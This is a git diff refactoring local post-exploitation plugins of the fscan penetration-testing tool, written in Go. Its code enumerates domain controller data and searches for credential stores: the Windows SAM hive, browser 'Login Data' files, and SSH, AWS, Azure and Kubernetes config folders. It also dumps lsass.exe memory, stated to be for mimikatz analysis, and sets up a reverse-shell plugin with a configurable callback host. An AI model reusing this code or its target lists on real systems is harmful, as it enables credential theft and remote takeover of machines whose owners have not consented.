ldap.ScopeBaseObject, ldap.ScopeBaseObject,
@ -682,7 +649,7 @@ func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainConnection, userDN string) (m
} }
// getGroupPolicies 获取组策略信息 // getGroupPolicies 获取组策略信息
func (p *DCInfoPlugin) getGroupPolicies(conn *DomainConnection) ([]map[string]interface{}, error) { func (p *DCInfoPlugin) getGroupPolicies(conn *DomainInfo) ([]map[string]interface{}, error) {
common.LogDebug("开始搜索GPO...") common.LogDebug("开始搜索GPO...")
common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN)) common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN))
@ -740,7 +707,7 @@ func (p *DCInfoPlugin) getGroupPolicies(conn *DomainConnection) ([]map[string]in
} }
// getOrganizationalUnits 获取组织单位信息 // getOrganizationalUnits 获取组织单位信息
func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainConnection) ([]map[string]interface{}, error) { func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainInfo) ([]map[string]interface{}, error) {
common.LogDebug("开始搜索OU和容器...") common.LogDebug("开始搜索OU和容器...")
common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN)) common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN))
@ -1016,9 +983,9 @@ func (p *DCInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, d
}, nil }, nil
} }
// 插件注册函数 // RegisterDCInfoPlugin 注册域控信息收集插件
func init() { func RegisterDCInfoPlugin() {
base.GlobalPluginRegistry.Register("dcinfo", base.NewSimplePluginFactory( factory := base.NewSimplePluginFactory(
&base.PluginMetadata{ &base.PluginMetadata{
Name: "dcinfo", Name: "dcinfo",
Version: "1.0.0", Version: "1.0.0",
@ -1031,5 +998,24 @@ func init() {
func() base.Plugin { func() base.Plugin {
return NewDCInfoPlugin() return NewDCInfoPlugin()
}, },
)) )
base.GlobalPluginRegistry.Register("dcinfo", factory)
}
// GetInfo 获取插件信息
func (p *DCInfoPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("Windows域控制器信息收集插件\n")
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 收集域用户、计算机、组策略、OU等信息\n")
info.WriteString("要求: 必须在域环境中运行\n")
return info.String()
}
// 插件注册函数
func init() {
RegisterDCInfoPlugin()
} }

View File

@ -12,24 +12,18 @@ import (
"github.com/shadow1ng/fscan/plugins/local" "github.com/shadow1ng/fscan/plugins/local"
) )
// FileInfoPlugin 文件信息收集插件 // FileInfoPlugin 文件信息收集插件 - 使用简化架构
type FileInfoPlugin struct { type FileInfoPlugin struct {
*local.BaseLocalPlugin *local.BaseLocalPlugin
connector *FileInfoConnector
// 配置选项 // 配置选项
blacklist []string blacklist []string
whitelist []string whitelist []string
sensitiveFiles []string
searchDirs []string
} }
// FileInfoConnector 文件信息连接器 // NewFileInfoPlugin 创建文件信息收集插件 - 简化版本
type FileInfoConnector struct {
*local.BaseLocalConnector
sensitiveFiles []string
searchDirs []string
}
// NewFileInfoPlugin 创建文件信息收集插件
func NewFileInfoPlugin() *FileInfoPlugin { func NewFileInfoPlugin() *FileInfoPlugin {
metadata := &base.PluginMetadata{ metadata := &base.PluginMetadata{
Name: "fileinfo", Name: "fileinfo",
@ -41,10 +35,8 @@ func NewFileInfoPlugin() *FileInfoPlugin {
Protocols: []string{"local"}, Protocols: []string{"local"},
} }
connector := NewFileInfoConnector()
plugin := &FileInfoPlugin{ plugin := &FileInfoPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
connector: connector,
blacklist: []string{ blacklist: []string{
// 可执行文件和库 // 可执行文件和库
".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr", ".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr",
@ -84,6 +76,11 @@ func NewFileInfoPlugin() *FileInfoPlugin {
// 设置平台支持 // 设置平台支持
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
// 初始化敏感文件和搜索目录
plugin.initSensitiveFiles()
return plugin return plugin
} }
@ -93,32 +90,21 @@ func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
return p.ScanLocal(ctx, info) return p.ScanLocal(ctx, info)
} }
// NewFileInfoConnector 创建文件信息连接器
func NewFileInfoConnector() *FileInfoConnector {
baseConnector, _ := local.NewBaseLocalConnector()
connector := &FileInfoConnector{
BaseLocalConnector: baseConnector,
}
connector.initSensitiveFiles()
return connector
}
// initSensitiveFiles 初始化敏感文件列表 // initSensitiveFiles 初始化敏感文件列表
func (c *FileInfoConnector) initSensitiveFiles() { func (p *FileInfoPlugin) initSensitiveFiles() {
homeDir, _ := os.UserHomeDir()
switch runtime.GOOS { switch runtime.GOOS {
case "windows": case "windows":
c.sensitiveFiles = []string{ p.sensitiveFiles = []string{
"C:\\boot.ini", "C:\\boot.ini",
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml", "C:\\windows\\system32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam", "C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam", "C:\\windows\\system32\\config\\sam",
} }
if homeDir := c.GetCommonDirectories()[0]; homeDir != "" { if homeDir != "" {
c.sensitiveFiles = append(c.sensitiveFiles, []string{ p.sensitiveFiles = append(p.sensitiveFiles, []string{
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"), filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"), filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"), filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
@ -126,7 +112,7 @@ func (c *FileInfoConnector) initSensitiveFiles() {
} }
case "linux", "darwin": case "linux", "darwin":
c.sensitiveFiles = []string{ p.sensitiveFiles = []string{
"/etc/apache/httpd.conf", "/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf", "/etc/httpd/conf/httpd.conf",
"/etc/nginx/nginx.conf", "/etc/nginx/nginx.conf",
@ -139,31 +125,31 @@ func (c *FileInfoConnector) initSensitiveFiles() {
} }
} }
c.searchDirs = c.getOptimizedSearchDirs() p.searchDirs = p.getOptimizedSearchDirs()
} }
// getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录) // getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录)
func (c *FileInfoConnector) getOptimizedSearchDirs() []string { func (p *FileInfoPlugin) getOptimizedSearchDirs() []string {
var dirs []string var dirs []string
homeDir, _ := os.UserHomeDir()
switch runtime.GOOS { switch runtime.GOOS {
case "windows": case "windows":
dirs = []string{ dirs = []string{
// 用户目录的关键文件夹 // 用户目录的关键文件夹
c.GetCommonDirectories()[0], // homeDir homeDir,
filepath.Join(c.GetCommonDirectories()[0], "Desktop"), filepath.Join(homeDir, "Desktop"),
filepath.Join(c.GetCommonDirectories()[0], "Documents"), filepath.Join(homeDir, "Documents"),
filepath.Join(c.GetCommonDirectories()[0], "Downloads"), filepath.Join(homeDir, "Downloads"),
filepath.Join(c.GetCommonDirectories()[0], ".ssh"), filepath.Join(homeDir, ".ssh"),
filepath.Join(c.GetCommonDirectories()[0], ".aws"), filepath.Join(homeDir, ".aws"),
filepath.Join(c.GetCommonDirectories()[0], ".azure"), filepath.Join(homeDir, ".azure"),
filepath.Join(c.GetCommonDirectories()[0], ".kube"), filepath.Join(homeDir, ".kube"),
// 公共目录的关键部分 // 公共目录的关键部分
"C:\\Users\\Public\\Documents", "C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop", "C:\\Users\\Public\\Desktop",
} }
case "linux", "darwin": case "linux", "darwin":
homeDir := c.GetCommonDirectories()[0]
dirs = []string{ dirs = []string{
homeDir, homeDir,
filepath.Join(homeDir, "Desktop"), filepath.Join(homeDir, "Desktop"),
@ -190,25 +176,15 @@ func (c *FileInfoConnector) getOptimizedSearchDirs() []string {
return validDirs return validDirs
} }
// ScanLocal 执行本地文件扫描 // ScanLocal 执行本地文件扫描 - 简化版本
func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始本地敏感文件扫描...") common.LogInfo("开始本地敏感文件扫描...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
foundFiles := make([]string, 0) foundFiles := make([]string, 0)
// 扫描固定位置的敏感文件 // 扫描固定位置的敏感文件
common.LogDebug("扫描固定敏感文件位置...") common.LogDebug("扫描固定敏感文件位置...")
for _, file := range p.connector.sensitiveFiles { for _, file := range p.sensitiveFiles {
if p.checkFile(file) { if p.checkFile(file) {
foundFiles = append(foundFiles, file) foundFiles = append(foundFiles, file)
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file)) common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file))
@ -220,21 +196,29 @@ func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
searchFiles := p.searchSensitiveFiles() searchFiles := p.searchSensitiveFiles()
foundFiles = append(foundFiles, searchFiles...) foundFiles = append(foundFiles, searchFiles...)
// 获取系统信息
systemInfo := p.GetSystemInfo()
result := &base.ScanResult{ result := &base.ScanResult{
Success: len(foundFiles) > 0, Success: true,
Service: "FileInfo", Service: "FileInfo",
Banner: fmt.Sprintf("发现 %d 个敏感文件", len(foundFiles)), Banner: fmt.Sprintf("检测完成: 发现 %d 个敏感文件", len(foundFiles)),
Extra: map[string]interface{}{ Extra: map[string]interface{}{
"files": foundFiles, "files": foundFiles,
"total_count": len(foundFiles), "total_count": len(foundFiles),
"platform": runtime.GOOS, "platform": runtime.GOOS,
"system_info": systemInfo,
"search_dirs": len(p.searchDirs),
}, },
} }
if len(foundFiles) > 0 { if len(foundFiles) > 0 {
common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles))) common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles)))
for _, file := range foundFiles {
common.LogSuccess(fmt.Sprintf("发现: %s", file))
}
} else { } else {
common.LogDebug("未发现敏感文件") common.LogInfo("未发现敏感文件")
} }
return result, nil return result, nil
@ -283,7 +267,7 @@ func (p *FileInfoPlugin) searchSensitiveFiles() []string {
maxFiles := 50 // 限制最多找到的文件数量 maxFiles := 50 // 限制最多找到的文件数量
maxDepth := 4 // 限制递归深度 maxDepth := 4 // 限制递归深度
for _, searchPath := range p.connector.searchDirs { for _, searchPath := range p.searchDirs {
if len(foundFiles) >= maxFiles { if len(foundFiles) >= maxFiles {
break break
} }
@ -357,9 +341,9 @@ func (p *FileInfoPlugin) isWhitelisted(filename string) bool {
return false return false
} }
// 插件注册函数 // RegisterFileInfoPlugin 注册文件信息收集插件
func init() { func RegisterFileInfoPlugin() {
base.GlobalPluginRegistry.Register("fileinfo", base.NewSimplePluginFactory( factory := base.NewSimplePluginFactory(
&base.PluginMetadata{ &base.PluginMetadata{
Name: "fileinfo", Name: "fileinfo",
Version: "1.0.0", Version: "1.0.0",
@ -372,5 +356,25 @@ func init() {
func() base.Plugin { func() base.Plugin {
return NewFileInfoPlugin() return NewFileInfoPlugin()
}, },
)) )
base.GlobalPluginRegistry.Register("fileinfo", factory)
}
// GetInfo 获取插件信息
func (p *FileInfoPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("本地敏感文件扫描插件\n")
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString(fmt.Sprintf("扫描目录: %d 个\n", len(p.searchDirs)))
info.WriteString(fmt.Sprintf("固定文件: %d 个\n", len(p.sensitiveFiles)))
info.WriteString("功能: 扫描系统敏感文件和配置信息\n")
return info.String()
}
// 插件注册函数
func init() {
RegisterFileInfoPlugin()
} }

View File

@ -6,49 +6,21 @@ import (
"github.com/shadow1ng/fscan/plugins/base" "github.com/shadow1ng/fscan/plugins/base"
) )
// LocalConnector 本地信息收集连接器接口 // LocalPlugin 本地插件接口 - 简化设计,专注于信息收集和扫描
type LocalConnector interface {
// Connect 建立本地连接(实际上是初始化本地环境)
Connect(ctx context.Context, info *common.HostInfo) (interface{}, error)
// Close 关闭连接和清理资源
Close(conn interface{}) error
// GetSystemInfo 获取系统信息
GetSystemInfo(conn interface{}) (map[string]string, error)
}
// LocalScanner 本地扫描器接口
type LocalScanner interface {
base.Scanner
// ScanLocal 执行本地扫描
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
// GetLocalData 获取本地数据
GetLocalData(ctx context.Context) (map[string]interface{}, error)
}
// LocalExploiter 本地信息提取器接口
type LocalExploiter interface {
base.Exploiter
// ExtractData 提取本地数据
ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error)
}
// LocalPlugin 本地插件接口
type LocalPlugin interface { type LocalPlugin interface {
base.Plugin base.Plugin
LocalScanner
LocalExploiter
// GetLocalConnector 获取本地连接器 // ScanLocal 执行本地扫描 - 核心功能
GetLocalConnector() LocalConnector ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
// GetPlatformSupport 获取支持的平台 // GetPlatformSupport 获取支持的平台
GetPlatformSupport() []string GetPlatformSupport() []string
// RequiresPrivileges 是否需要特殊权限 // RequiresPrivileges 是否需要特殊权限
RequiresPrivileges() bool RequiresPrivileges() bool
} }
// 移除不必要的接口:
// - LocalConnector: 本地插件不需要"连接"概念
// - LocalScanner: 功能合并到LocalPlugin中
// - LocalExploiter: 本地插件不需要攻击利用功能

View File

@ -12,6 +12,7 @@ import (
"golang.org/x/sys/windows" "golang.org/x/sys/windows"
"os" "os"
"path/filepath" "path/filepath"
"strings"
"syscall" "syscall"
"time" "time"
"unsafe" "unsafe"
@ -53,15 +54,9 @@ type TOKEN_PRIVILEGES struct {
Privileges [1]LUID_AND_ATTRIBUTES Privileges [1]LUID_AND_ATTRIBUTES
} }
// MiniDumpPlugin 内存转储插件 // MiniDumpPlugin 内存转储插件 - 使用简化架构
type MiniDumpPlugin struct { type MiniDumpPlugin struct {
*local.BaseLocalPlugin *local.BaseLocalPlugin
connector *MiniDumpConnector
}
// MiniDumpConnector 内存转储连接器
type MiniDumpConnector struct {
*local.BaseLocalConnector
kernel32 *syscall.DLL kernel32 *syscall.DLL
dbghelp *syscall.DLL dbghelp *syscall.DLL
advapi32 *syscall.DLL advapi32 *syscall.DLL
@ -74,7 +69,7 @@ type ProcessManager struct {
advapi32 *syscall.DLL advapi32 *syscall.DLL
} }
// NewMiniDumpPlugin 创建内存转储插件 // NewMiniDumpPlugin 创建内存转储插件 - 简化版本
func NewMiniDumpPlugin() *MiniDumpPlugin { func NewMiniDumpPlugin() *MiniDumpPlugin {
metadata := &base.PluginMetadata{ metadata := &base.PluginMetadata{
Name: "minidump", Name: "minidump",
@ -86,10 +81,8 @@ func NewMiniDumpPlugin() *MiniDumpPlugin {
Protocols: []string{"local"}, Protocols: []string{"local"},
} }
connector := NewMiniDumpConnector()
plugin := &MiniDumpPlugin{ plugin := &MiniDumpPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
connector: connector,
} }
// 仅支持Windows平台 // 仅支持Windows平台
@ -105,62 +98,52 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
return p.ScanLocal(ctx, info) return p.ScanLocal(ctx, info)
} }
// NewMiniDumpConnector 创建内存转储连接器 // Initialize 初始化插件
func NewMiniDumpConnector() *MiniDumpConnector { func (p *MiniDumpPlugin) Initialize() error {
baseConnector, _ := local.NewBaseLocalConnector() // 先调用基类初始化
if err := p.BaseLocalPlugin.Initialize(); err != nil {
return &MiniDumpConnector{ return err
BaseLocalConnector: baseConnector,
} }
// 加载系统DLL
return p.loadSystemDLLs()
} }
// Connect 建立内存转储连接 // loadSystemDLLs 加载系统DLL
func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) { func (p *MiniDumpPlugin) loadSystemDLLs() error {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
common.LogError(fmt.Sprintf("建立基础连接失败: %v", err))
return nil, err
}
common.LogDebug("开始加载系统DLL...") common.LogDebug("开始加载系统DLL...")
// 加载系统DLL - 添加错误处理 // 加载系统DLL - 添加错误处理
kernel32, err := syscall.LoadDLL("kernel32.dll") kernel32, err := syscall.LoadDLL("kernel32.dll")
if err != nil { if err != nil {
common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err)) common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err) return fmt.Errorf("加载 kernel32.dll 失败: %v", err)
} }
common.LogDebug("kernel32.dll 加载成功") common.LogDebug("kernel32.dll 加载成功")
dbghelp, err := syscall.LoadDLL("Dbghelp.dll") dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
if err != nil { if err != nil {
common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err)) common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err) return fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
} }
common.LogDebug("Dbghelp.dll 加载成功") common.LogDebug("Dbghelp.dll 加载成功")
advapi32, err := syscall.LoadDLL("advapi32.dll") advapi32, err := syscall.LoadDLL("advapi32.dll")
if err != nil { if err != nil {
common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err)) common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err) return fmt.Errorf("加载 advapi32.dll 失败: %v", err)
} }
common.LogDebug("advapi32.dll 加载成功") common.LogDebug("advapi32.dll 加载成功")
c.kernel32 = kernel32 p.kernel32 = kernel32
c.dbghelp = dbghelp p.dbghelp = dbghelp
c.advapi32 = advapi32 p.advapi32 = advapi32
common.LogSuccess("所有DLL加载完成") common.LogSuccess("所有DLL加载完成")
return localConn, nil return nil
} }
// Close 关闭连接 // ScanLocal 执行内存转储扫描 - 简化版本
func (c *MiniDumpConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
}
// ScanLocal 执行内存转储扫描
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
defer func() { defer func() {
if r := recover(); r != nil { if r := recover(); r != nil {
@ -168,7 +151,7 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
} }
}() }()
common.LogBase("开始进程内存转储...") common.LogInfo("开始进程内存转储...")
// 检查管理员权限 // 检查管理员权限
if !p.isAdmin() { if !p.isAdmin() {
@ -181,25 +164,12 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
common.LogSuccess("已确认具有管理员权限") common.LogSuccess("已确认具有管理员权限")
// 建立连接
common.LogDebug("正在建立连接...")
conn, err := p.connector.Connect(ctx, info)
if err != nil {
common.LogError(fmt.Sprintf("连接失败: %v", err))
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
common.LogSuccess("连接建立成功")
// 创建进程管理器 // 创建进程管理器
common.LogDebug("正在创建进程管理器...") common.LogDebug("正在创建进程管理器...")
pm := &ProcessManager{ pm := &ProcessManager{
kernel32: p.connector.kernel32, kernel32: p.kernel32,
dbghelp: p.connector.dbghelp, dbghelp: p.dbghelp,
advapi32: p.connector.advapi32, advapi32: p.advapi32,
} }
common.LogSuccess("进程管理器创建成功") common.LogSuccess("进程管理器创建成功")
@ -261,15 +231,19 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
fileSize = fileInfo.Size() fileSize = fileInfo.Size()
} }
// 获取系统信息
systemInfo := p.GetSystemInfo()
result := &base.ScanResult{ result := &base.ScanResult{
Success: true, Success: true,
Service: "MiniDump", Service: "MiniDump",
Banner: fmt.Sprintf("lsass.exe 内存转储完成 (PID: %d)", pid), Banner: fmt.Sprintf("检测完成: lsass.exe 内存转储完成 (PID: %d)", pid),
Extra: map[string]interface{}{ Extra: map[string]interface{}{
"process_name": "lsass.exe", "process_name": "lsass.exe",
"process_id": pid, "process_id": pid,
"dump_file": outputPath, "dump_file": outputPath,
"file_size": fileSize, "file_size": fileSize,
"system_info": systemInfo,
}, },
} }
@ -607,9 +581,9 @@ func (pm *ProcessManager) closeHandle(handle uintptr) {
} }
// 插件注册函数 // RegisterMiniDumpPlugin 注册内存转储插件
func init() { func RegisterMiniDumpPlugin() {
base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory( factory := base.NewSimplePluginFactory(
&base.PluginMetadata{ &base.PluginMetadata{
Name: "minidump", Name: "minidump",
Version: "1.0.0", Version: "1.0.0",
@ -622,5 +596,24 @@ func init() {
func() base.Plugin { func() base.Plugin {
return NewMiniDumpPlugin() return NewMiniDumpPlugin()
}, },
)) )
base.GlobalPluginRegistry.Register("minidump", factory)
}
// GetInfo 获取插件信息
func (p *MiniDumpPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("Windows进程内存转储插件\n")
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 转储lsass.exe进程内存用于mimikatz分析\n")
info.WriteString("要求: 需要管理员权限\n")
return info.String()
}
// 插件注册函数
func init() {
RegisterMiniDumpPlugin()
} }

View File

@ -4,27 +4,27 @@ import (
"context" "context"
"errors" "errors"
"fmt" "fmt"
"os"
"os/user"
"runtime" "runtime"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base" "github.com/shadow1ng/fscan/plugins/base"
) )
// BaseLocalPlugin 本地插件基础实现 // BaseLocalPlugin 本地插件基础实现 - 简化架构
type BaseLocalPlugin struct { type BaseLocalPlugin struct {
*base.BasePlugin *base.BasePlugin
connector LocalConnector platforms []string
platforms []string
requiresPrivileges bool requiresPrivileges bool
} }
// NewBaseLocalPlugin 创建基础本地插件 // NewBaseLocalPlugin 创建基础本地插件
func NewBaseLocalPlugin(metadata *base.PluginMetadata, connector LocalConnector) *BaseLocalPlugin { func NewBaseLocalPlugin(metadata *base.PluginMetadata) *BaseLocalPlugin {
basePlugin := base.NewBasePlugin(metadata) basePlugin := base.NewBasePlugin(metadata)
return &BaseLocalPlugin{ return &BaseLocalPlugin{
BasePlugin: basePlugin, BasePlugin: basePlugin,
connector: connector, platforms: []string{"windows", "linux", "darwin"}, // 默认支持所有平台
platforms: []string{"windows", "linux", "darwin"},
requiresPrivileges: false, requiresPrivileges: false,
} }
} }
@ -60,37 +60,36 @@ func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo)
}, nil }, nil
} }
// Exploit 执行利用 // GetSystemInfo 获取系统信息 - 实用工具方法
func (p *BaseLocalPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { func (p *BaseLocalPlugin) GetSystemInfo() map[string]string {
// 获取本地数据 systemInfo := make(map[string]string)
data, err := p.GetLocalData(ctx)
if err != nil { systemInfo["os"] = runtime.GOOS
return &base.ExploitResult{ systemInfo["arch"] = runtime.GOARCH
Success: false,
Error: fmt.Errorf("获取本地数据失败: %v", err), if homeDir, err := os.UserHomeDir(); err == nil {
}, nil systemInfo["home_dir"] = homeDir
} }
return p.ExtractData(ctx, info, data) if workDir, err := os.Getwd(); err == nil {
systemInfo["working_dir"] = workDir
}
systemInfo["temp_dir"] = os.TempDir()
// 获取用户名
if currentUser, err := user.Current(); err == nil {
systemInfo["username"] = currentUser.Username
}
// 获取主机名
if hostname, err := os.Hostname(); err == nil {
systemInfo["hostname"] = hostname
}
return systemInfo
} }
// GetLocalData 默认获取本地数据实现(子类应重写)
func (p *BaseLocalPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
return nil, fmt.Errorf("GetLocalData方法需要在子类中实现")
}
// ExtractData 默认数据提取实现(子类应重写)
func (p *BaseLocalPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: false,
Error: errors.New("ExtractData方法需要在子类中实现"),
}, nil
}
// GetLocalConnector 获取本地连接器
func (p *BaseLocalPlugin) GetLocalConnector() LocalConnector {
return p.connector
}
// GetPlatformSupport 获取支持的平台 // GetPlatformSupport 获取支持的平台
func (p *BaseLocalPlugin) GetPlatformSupport() []string { func (p *BaseLocalPlugin) GetPlatformSupport() []string {
@ -142,14 +141,25 @@ func (p *BaseLocalPlugin) hasRequiredPrivileges() bool {
} }
} }
// 平台特定的权限检查函数 // 平台特定的权限检查函数 - 实际实现
func isWindowsAdmin() bool { func isWindowsAdmin() bool {
// 这里可以调用Windows API检查管理员权限 // Windows管理员权限检查尝试写入系统目录
// 简化实现实际应该使用Windows API testPath := `C:\Windows\Temp\fscan_admin_test`
return false file, err := os.Create(testPath)
if err != nil {
// 无法创建文件,可能没有管理员权限
return false
}
file.Close()
os.Remove(testPath)
return true
} }
func isUnixRoot() bool { func isUnixRoot() bool {
// 检查是否为root用户 // Unix/Linux root用户检查
return false currentUser, err := user.Current()
if err != nil {
return false
}
return currentUser.Uid == "0"
} }

View File

@ -17,29 +17,15 @@ import (
"github.com/shadow1ng/fscan/plugins/local" "github.com/shadow1ng/fscan/plugins/local"
) )
// ReverseShellPlugin 反弹Shell插件 // ReverseShellPlugin 反弹Shell插件 - 使用简化架构
type ReverseShellPlugin struct { type ReverseShellPlugin struct {
*local.BaseLocalPlugin *local.BaseLocalPlugin
connector *ReverseShellConnector target string // 目标地址:端口
target string // 目标地址:端口 host string
port int
} }
// ReverseShellConnector 反弹Shell连接器 // NewReverseShellPlugin 创建反弹Shell插件 - 简化版本
type ReverseShellConnector struct {
*local.BaseLocalConnector
host string
port int
}
// ReverseShellConnection 反弹Shell连接对象
type ReverseShellConnection struct {
*local.LocalConnection
Target string
Host string
Port int
}
// NewReverseShellPlugin 创建反弹Shell插件
func NewReverseShellPlugin() *ReverseShellPlugin { func NewReverseShellPlugin() *ReverseShellPlugin {
// 从全局参数获取反弹Shell目标 // 从全局参数获取反弹Shell目标
target := common.ReverseShellTarget target := common.ReverseShellTarget
@ -58,25 +44,7 @@ func NewReverseShellPlugin() *ReverseShellPlugin {
Protocols: []string{"local"}, Protocols: []string{"local"},
} }
connector := NewReverseShellConnector(target) // 解析目标地址
plugin := &ReverseShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
target: target,
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// NewReverseShellConnector 创建反弹Shell连接器
func NewReverseShellConnector(target string) *ReverseShellConnector {
baseConnector, _ := local.NewBaseLocalConnector()
host, portStr, err := net.SplitHostPort(target) host, portStr, err := net.SplitHostPort(target)
if err != nil { if err != nil {
host = target host = target
@ -88,39 +56,25 @@ func NewReverseShellConnector(target string) *ReverseShellConnector {
port = 4444 // 默认端口 port = 4444 // 默认端口
} }
return &ReverseShellConnector{ plugin := &ReverseShellPlugin{
BaseLocalConnector: baseConnector, BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
host: host, target: target,
port: port, host: host,
port: port,
} }
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
} }
// Connect 建立反弹Shell连接 // Initialize 初始化插件
func (c *ReverseShellConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) { func (p *ReverseShellPlugin) Initialize() error {
// 先建立基础本地连接 // 调用基类初始化
localConn, err := c.BaseLocalConnector.Connect(ctx, info) return p.BaseLocalPlugin.Initialize()
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// 跳过连通性测试避免抢占反弹shell连接通道
// 反弹shell会在实际使用时进行连接这里不需要预先测试
reverseShellConn := &ReverseShellConnection{
LocalConnection: baseConn,
Target: fmt.Sprintf("%s:%d", c.host, c.port),
Host: c.host,
Port: c.port,
}
return reverseShellConn, nil
}
// Close 关闭反弹Shell连接
func (c *ReverseShellConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
} }
// Scan 重写扫描方法以确保调用正确的ScanLocal实现 // Scan 重写扫描方法以确保调用正确的ScanLocal实现
@ -128,27 +82,15 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*
return p.ScanLocal(ctx, info) return p.ScanLocal(ctx, info)
} }
